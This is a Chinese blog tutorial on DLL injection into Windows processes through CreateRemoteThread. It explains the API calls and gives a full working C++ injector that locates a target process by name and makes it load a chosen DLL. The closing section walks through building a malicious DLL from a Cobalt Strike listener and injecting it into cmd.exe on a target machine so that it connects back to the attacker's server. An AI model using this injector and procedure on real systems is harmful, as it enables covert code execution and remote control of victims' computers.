进程注入之CreateRemoteThread()
注入原理
原理是将恶意的动态链接库路径写入到另一个进程的虚拟空间内,通过在目标进程中创建远程线程进行加载。
但是程序不会无故加载我们恶意的dll,所以我们就要使用Windows API
了,它提供了大量的函数来附加和操纵其他进程。
API中的所有函数都包含于DLL文件之中。其中,最重要的是Kernel32.dll
(包含管理内存,进程和线程相关的函数),User32.dll
(大部分是用户接口函数),和“GDI32.dll”(绘制图形和显示文本相关的函数)等。
注入代码的实现
由于基本上大多数进程都会使用Kernel32.dll
,核心思想就是在目标进程中开启一个线程调用LoadLibrary
函数来加载我们想要注入的dll
大致注入流程如下图
使用到的一些函数
OpenProcess
函数
OpenProcess
函数用来打开一个已存在的进程对象,并返回进程的句柄。
HANDLE OpenProcess(
DWORD dwDesiredAccess, //想拥有的该进程访问权限
BOOL bInheritHandle, // 是否继承句柄
DWORD dwProcessId// 被打开进程的PID
);
参数解释:
a.dwDesiredAccess:想拥有的该进程访问权限
PROCESS_ALL_ACCESS //所有能获得的权限
PROCESS_CREATE_PROCESS //需要创建一个进程
PROCESS_CREATE_THREAD //需要创建一个线程
PROCESS_DUP_HANDLE //重复使用DuplicateHandle句柄
PROCESS_QUERY_INFORMATION //获得进程信息的权限,如它的退出代码、优先级
PROCESS_QUERY_LIMITED_INFORMATION (获得某些信息的权限,如果获得了PROCESS_QUERY_INFORMATION,也拥有PROCESS_QUERY_LIMITED_INFORMATION权限)
PROCESS_SET_INFORMATION //设置某些信息的权限,如进程优先级
PROCESS_SET_QUOTA //设置内存限制的权限,使用SetProcessWorkingSetSize
PROCESS_SUSPEND_RESUME //暂停或恢复进程的权限
PROCESS_TERMINATE //终止一个进程的权限,使用TerminateProcess
PROCESS_VM_OPERATION //操作进程内存空间的权限(可用VirtualProtectEx和WriteProcessMemory)
PROCESS_VM_READ //读取进程内存空间的权限,可使用ReadProcessMemory
PROCESS_VM_WRITE //读取进程内存空间的权限,可使用WriteProcessMemory
SYNCHRONIZE //等待进程终止
b.bInheritHandle:表示所得到的进程句柄是否可以被继承
c.dwProcessId:被打开进程的PID
返回值:
如成功,返回值为指定进程的句柄。
如失败,返回值为NULL
,可调用GetLastError()
获得错误代码。
VirtualAllocEx
函数
获得返回句柄之后再用VirtualAllocEx
函数,在目标进程中开辟一块内存存放我们的dll的路径。
LPVOID VirtualAllocEx(
HANDLE hProcess, // 申请内存所在的进程句柄
LPVOID lpAddress, // 保留页面的内存地址;一般用NULL自动分配
SIZE_T dwSize, // 欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍
DWORD flAllocationType, //为特定的页面区域分配内存中或磁盘
DWORD flProtect //受保护状态
);
WriteProcessMemory
函数
之后使用WriteProcessMemory
函数向目标内存写入dll地址
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess, //由OpenProcess返回的进程句柄。
_In_ LPVOID lpBaseAddress, //要写的内存首地址
_In_ LPCVOID lpBuffer, //指向要写的数据的指针。
_In_ SIZE_T nSize, //要写入的字节数。
_Out_ SIZE_T *lpNumberOfBytesWritten //返回值。返回实际写入的字节
);
用GetProcAddress
函数获得LoadLibraryW
函数的起始地址。LoadLibraryW
函数位于Kernel32.dll
中,再用CreateRemoteThread
函数让目标进程执行LoadLibraryW
来加载被注入的dll。函数结束将返回载入dll后的模块句柄。
注意:这里的LoadLibrary
函数在底层实际调用有两种可能,如果目标程序使用的是ANSI
编码方式,LoadLibrary
实际调用的是LoadLibraryA
,其参数字符串应当是ANSI
编码;
如果目标程序使用的是Unicode
编码方式,LoadLibrary
实际调用的是LoadLibraryW
,其参数字符串应当是Unicode
编码。
完整代码
// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Tlhelp32.h>
BOOL Inject(DWORD dwId, WCHAR* szPath)
//参数1:目标进程id; 参数2:DLL路径
{
//1.在目标进程中申请一个空间
/*
1.1获取目标进程句柄
参数1:想要拥有的进程权限
参数2:表示所得到的进程句柄是否可以被继承
参数3:被打开进进程的pid
返回值:指定进程的句柄
*/
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
/*
1.2在目标进程中开辟空间
参数1:目标进程句柄
参数2:保留页面的内存地址,一般用NULL自动分配
参数3:想要分配的内存大小,字节为单位
参数4:ME_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
参数5:PAGE_READWRITE:区域可被应用程序读写
返回值:执行成功就返回分配内存的首地址,不成功就是NULL
*/
LPVOID pRemoteAdress = VirtualAllocEx(
hProcess,
NULL,
wcslen(szPath) * 2,
MEM_COMMIT,
PAGE_READWRITE
);
//2.把dll的路径写入到目标进程的内存空间中
DWORD dwWriteSize = 0;
/*
写一段数据到刚才给指定进程所开辟的内存空间里
参数1:OpenProcess返回的进程句柄
参数2:准备写入的内存地址
参数3:指向要写入的数据指针(准备写入的东西)
参数4:要写的字节数(东西的长度+0/)
参数5:返回值,返回实际写入的字节
*/
BOOL bRet = WriteProcessMemory(hProcess, pRemoteAdress, szPath, wcslen(szPath) * 2, NULL);
//3.创建一个远程线程,让目标进程调用LoadLibrary
/*
参数1:该远程线程所属进程的进程句柄
参数2:一个指向SECURITY_ATTRIBUTES结构的指针,该结构指定了线程的安全属性
参数3:线程栈初始大小,以字节为单位,若该值设为0,那么使用系统默认大小
参数4:在远程进程的地址空间中,该线程的线程函数的起始地址(也就是这个线程具体干的活)
参数5:传给线程函数的参数(刚才在内存里开辟的空间里写入的东西)
参数6:控制线程创建的标志。0(NULL)表示该线程在创建后立即运行
参数7:指向接收线程标识符的变量的指针。如果为NULL,则不返回线程标识符
返回值;如果函数成功,则返回值是新线程的句柄。如果函数失败,则返回值为NULL
*/
//获取模块地址
HMODULE hModule = GetModuleHandle(L"kernel32.dll");
if (!hModule)
{
printf("GetModuleHandle Error !\n");
GetLastError();
CloseHandle(hProcess);
return FALSE;
}
//获取LoadLibraryA函数地址
LPTHREAD_START_ROUTINE dwLoadAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryW");
if (!dwLoadAddr)
{
printf("GetProcAddress Error !\n");
GetLastError();
CloseHandle(hProcess);
CloseHandle(hModule);
return FALSE;
}
//创建远程线程,加载dll
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)dwLoadAddr,
pRemoteAdress,
NULL,
NULL
);
//WaitForSingleObject(hThread, -1);当句柄所指的线程右信号的时候才会返回
/*
4.释放申请的虚拟内存空间
参数1:目标进程的句柄。该句柄必须拥有PROCESS_VM-OPERATION权限
参数2:指向要释放的虚拟内存空间首地址的指针
参数3:虚拟内存空间的字节数
参数4:MEM_DECOMMIT仅表示内存空间不可用,内存页还将存在
MEM_RELEASE这种方式很彻底,完全回收。
VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_DECOMMIT);
*/
return 0;
}
DWORD GetPid(WCHAR* szName)
{
HANDLE hprocessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
/*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hprocessSnap, &pe32))
{
do {
if (!wcscmp(szName, pe32.szExeFile))
return (int)pe32.th32ProcessID;
} while (Process32Next(hprocessSnap, &pe32));
}
else
CloseHandle(hprocessSnap);
return 0;
}
int main()
{
wchar_t wStr[] = L"·····";//要注入的dll文件地址
DWORD dwId = 0;
DWORD dwPid = 0;
WCHAR S[] = L"···";//注入的目标exe文件
DWORD SS = GetPid(S);
printf("目标窗口的进程PID为:%d\n", SS);
//参数1:目标进程的PID
//参数2:想要注入dll的路径
Inject(SS, wStr);
system("pause");
return 0;
}
利用此方法上线CS
1.打开Visual Studio新建一个项目
2.将上述完整代码添加进去
3.我们利用cs创建一个监听
4.生成恶意dll文件
这里根据需求选择32位或者64位,我这里演示的是32位的,选择刚才创建的监听
生成dll文件
5.将dll文件放置在目标机的D盘下,我这里注入的进程是cmd.exe
,并将main
函数补全。
6.编译生成exe文件,在将该exe文件在目标及运行即可
7.检查发现cmd.exe
中成功加载了恶意dll,且CS也成功上线
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库